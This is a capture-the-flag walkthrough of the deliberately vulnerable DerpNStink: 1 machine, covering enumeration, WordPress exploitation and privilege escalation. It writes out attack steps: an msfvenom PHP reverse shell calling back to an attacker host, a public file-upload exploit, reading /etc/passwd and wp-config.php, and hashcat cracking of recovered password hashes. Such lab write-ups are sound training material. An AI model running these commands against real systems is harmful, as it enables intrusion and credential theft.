CTF Walkthrough - DerpNStink: 1


Information

Intro

Apparently, Mr. Derp and Uncle Stinky are starting a company, and they decided to set their systems by themselves… Which maybe was not the greatest idea.

DerpNStink: 1 is a beginner vulnerable CTF-type machine. The goal is finding 4 flags containing a non-important hash. Let’s go!

Walkthrough

Identification and Enumeration

As always, the first thing to do is identify the target IP. Luckily it answers to ping requests, so a simple fping will make it:

root@kali:~# fping -aqg 192.168.10.0/24
[...]
192.168.10.167

After some seconds, fping spits a handful of IPs. The only unknown address in that list is 192.168.10.167, which should be my new guest, and my target IP.

Then, nmap is used to get all of the information about the services running in the machine:

nmap -sT -p- -A -vvv -oA nmap 192.168.10.167
[...]
PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.2
22/tcp open  ssh     syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/php/ /temporary/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK

Only 3 services: FTP, SSH, and HTTP.

Flag 1

Let’s explore HTTP first. The first thing we find is the picture of Mr. Derp and Uncle Stinky, right there in the index of their website:

Mr. Derp and Uncle Stinky

If we inspect the HTML code, we find two interesting things. The first one is… A flag! At the very bottom of the code, we find our first flag: flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166).

Flag 2

The second interesting thing we find is one of the HTML headers:

<script type="text/info" src="/webnotes/info.txt"></script>

We can find some information on the path we just found, /webnotes/info.txt:

<-- @stinky, make sure to update your hosts file with local dns so the new
derpnstink blog can be reached before it goes live -->

So it seems we need to add an entry to our /etc/hosts file so some blog can work properly… If we navigate to the root of that same folder, /webnotes/, we actually find a lot more information:

[...]
[stinky@DeRPnStiNK: /var/www/html/php]~$ ping derpnstink.local
PING derpnstink.local (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.018 ms
[...]

We just found the entry we need to add to our /etc/hosts file: derpnstink.local. Also, as a bonus, we just found a system user: stinky. We’ll make note of it.

After adding the host, we launch a dirb scan:

root@kali:~# dirb 'http://192.168.10.167'

-----------------
DIRB v2.22
By The Dark Raver
-----------------

[... I'll leave only useful information ...]

---- Scanning URL: http://192.168.10.167/ ----
+ http://192.168.10.167/robots.txt (CODE:200|SIZE:53)
+ http://192.168.10.167/temporary/index.html (CODE:200|SIZE:12)
+ http://192.168.10.167/php/info.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.10.167/php/phpmyadmin/
==> DIRECTORY: http://192.168.10.167/weblog/
[...]

Among all the files dirb found, there are some of them with relevance. The first of them, /robots.txt, doesn’t add additional information, as it only contains folders /php/ and /temporary/, both of which dirb already found.

The file /temporary/index.html doesn’t hold any useful information… But it cheer us to try harder! Then, we find two interesting resources: /php/phpmyadmin/ and /weblog/.

We’ll remember the existence of a PHPMyAdmin installation, in case it’s useful in the future. For now, let’s see what’s that blog Mr. Derp was talking about:

Weblog

It’s a WordPress installation. Of course, we try to login at /weblog/wp-admin with our h4x0r credentials, admin:admin

WordPress admin

Success! However, this “admin” user is not the actual administrator of WordPress, and it lacks most administration permissions… Apparently, the only things this user can manage are the Slideshows. Maybe that’s enough?

Let’s see if wpscan give us some extra information:

root@kali:~# wpscan --url 'http://derpnstink.local/weblog/'
[...]
[+] Name: slideshow-gallery - v1.4.6
 |  Last updated: 2017-07-17T09:36:00.000Z
 |  Location: http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/
 |  Readme: http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/readme.txt
[!] The version is out of date, the latest version is 1.6.7.1

[!] Title: Slideshow Gallery < 1.4.7 Arbitrary File Upload
    Reference: https://wpvulndb.com/vulnerabilities/7532
    Reference: http://seclists.org/bugtraq/2014/Sep/1
    Reference: http://packetstormsecurity.com/files/131526/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5460
    Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_slideshowgallery_upload
    Reference: https://www.exploit-db.com/exploits/34681/
    Reference: https://www.exploit-db.com/exploits/34514/
[i] Fixed in: 1.4.7
[...]

It seems that the Slideshow Gallery plugin has a vulnerability we can use to upload arbitrary files to the server. We’ll make use of this vulnerability with the help of msfvenom. A PHP reverse shell will be generated…

root@kali:~/boot2root/derpnstink# msfvenom -p php/reverse_php LHOST=192.168.10.182 LPORT=4444 -o immashell.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3029 bytes
Saved as: immashell.php

And then, uploaded using a public exploit:

root@kali:~/boot2root/derpnstink# python wp_gallery_slideshow_146_suv.py -t http://derpnstink.local/weblog -u admin -p admin -f immashell.php

[...]

W0rdpr3ss Sl1d3sh04w G4ll3ry 1.4.6 Sh3ll Upl04d Vuln.

[+] Username & password ACCEPTED!

[!] Shell Uploaded!
[+] Check url:
http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/immashell.php
(lowercase!!!!)

We set up a listener, open the URL, and…

Exploited WP Gallery Slideshow

Voilà! We have a limited shell. First of all, let’s see the users in this machine:

$ cat /etc/passwd
[...]
stinky:x:1001:1001:Uncle Stinky,,,:/home/stinky:/bin/bash
mrderp:x:1000:1000:Mr. Derp,,,:/home/mrderp:/bin/bash

We remember stinky from the notes before, and we can now add mrderp to our list. Then, we’ll use the shell to check the /var/www/html/weblog/wp-config.php file, looking for the database login information:

[...]
/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'mysql');

/** MySQL hostname */
define('DB_HOST', 'localhost');
[...]

Now we can use that PHPMyAdmin we found earlier, with credentials root:mysql.

PHPMyAdmin

Of course, these credentials are weak enough to break them using a tiny dictionary, instead of getting a shell and recover them from the wp-config.php file. However, that probably wasn’t the way the author designed the machine.

We found the WordPress credentials. As expected, the “admin” user was not the real admin of the CMS, as there is another user:

unclestinky     $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
admin           $P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/

The same username is found in the mysql database, user table:

unclestinky     *9B776AFB479B31E8047026F1185E952DD1E530CB

hashcat to the rescue!

9b776afb479b31e8047026f1185e952dd1e530cb:wedgie57
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41:wedgie57

Both the database hash (MySQL4.1/MySQL5, hashcat mode 300) and the WordPress hash (WordPress MD5, hashcat mode 400) give the same password: wedgie57.

We can now use these credentials to login into WordPress and get… The second flag, flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)!

WordPress unclestinky

Flag 3

Of course, we can also try these credentials on the other services of the machine. However, the file /etc/passwd didn’t contain a unclestinky user. Instead, the user was named stinky. Let’s try with that login… SSH accepts only publickey login for that user, so all we have left is FTP.

FTP login

The file files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/key.txt (yeah, really!) is a RSA private key. We can use it to login into the system as the stinky user!

It’s worth noting that the stinky:wedgie57 login can also be used from the www-data shell we got, by executing su - stinky, and we wouldn’t need to recover the SSH key using FTP. However, the author probably intended the progression to pass through the FTP service.

Once connected though SSH, we can access to the 3rd flag, in Desktop/flag.txt: flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb).

Flag 4

After that, we can see that Mr. Derp had some troubles with WordPress, based on the chat log found on ftp/files/network-logs/derpissues.txt. They even captured the network traffic while doing the “repairs”. Actually, the capture file derpissues.pcap, is found in the Documents folder! Let’s download it and analyze it with Wireshark.

Applying a Wireshark filter to only show HTTP POST packets (http.request.method==POST), we quickly identify the new user creation, mrderp, and its password, derpderpderpderpderpderpderp:

Wireshark mrderp

We can use these credentials to login as Mr. Derp, which has some sudo permissions:

mrderp@DeRPnStiNK:~$ sudo -l
Matching Defaults entries for mrderp on DeRPnStiNK:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mrderp may run the following commands on DeRPnStiNK:
    (ALL) /home/mrderp/binaries/derpy*

So, mrderp can use sudo to execute any file in the /home/mrderp/binaries folder, with name starting by derpy. And this user can actually write on the binaries folder, so it’s as simple as:

Privilege escalation

And we got the 4th and final flag, flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)!

Final words

Another easy but fun machine, with several different vulnerabilities to exploit. Nothing too original, but a nice machine.

All done here, have a nice day!